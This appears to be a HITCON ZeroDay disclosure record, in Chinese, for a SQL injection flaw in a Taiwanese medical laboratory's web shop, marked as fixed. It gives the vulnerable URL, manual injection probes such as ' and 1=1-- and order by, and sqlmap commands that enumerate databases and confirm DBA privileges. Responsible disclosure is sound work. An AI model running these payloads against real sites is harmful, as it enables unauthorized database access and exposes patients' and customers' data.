Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2019-01279
- 發信 Vendor: 大安聯合医事检验所
- Title: 大安聯合医事检验所存在严重sql注入漏洞
- Introduction: sql注入漏洞
- 感謝函
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
已修補
-
未複測
-
公開
處理歷程
- 2019/11/22 19:30:45 : 新提交 (由 泰格 更新此狀態)
- 2019/11/24 22:07:51 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2019/11/26 15:12:58 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2019/11/26 15:12:58 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2019/11/26 15:12:58 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2019/12/02 11:11:30 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2019/12/02 11:11:30 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2019/12/04 16:29:39 : 已修補 (由 組織帳號 更新此狀態)
- 2019/12/12 03:00:08 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID：ZD-2019-01279
- 通報者：tiger999 (泰格)
- 風險：高
- 類型：資料庫注入攻擊 (SQL Injection)
參考資料
漏洞說明： OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明： OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明： CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式： OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
相關網址
敘述
www.ucl.com.tw/webshop/shop/ServiceQueryInfo.asp?GoodsID=D0114007
1,首先手工检测:
www.ucl.com.tw/webshop/shop/ServiceQueryInfo.asp?GoodsID=D0114007’ and 1=1-- 正常
www.ucl.com.tw/webshop/shop/ServiceQueryInfo.asp?GoodsID=D0114007’ and 1=2-- 不正常
www.ucl.com.tw/webshop/shop/ServiceQueryInfo.asp?GoodsID=D0114007’ order by32-- 正常
www.ucl.com.tw/webshop/shop/ServiceQueryInfo.asp?GoodsID=D0114007’ order by33-- 不正常
可判断存在sql注入,而且columns为32列
2,上sqlmap
sqlmap -u "www.ucl.com.tw/webshop/shop/ServiceQueryInfo.asp?GoodsID=D0114007"
图片1.png
判断后台数据库为sqlsever2012
3,查看一下当前用户权限,及数据库管理系统中有那些数据库
sqlmap -u "www.ucl.com.tw/webshop/shop/ServiceQueryInfo.asp?GoodsID=D0114007" --dbs --is-dba
图片2.png
显示后台数据库管理系统为sqlserver,用户权限为dba,即最高权限,存活数据库为8个,漏洞非常严重,往后不再继续测,望尽快修复!
查看网站首页,有用户注册,望尽快修复漏洞,防止用户信息泄露!!
修補建議
严格限定参数
严格限定数据库用户权限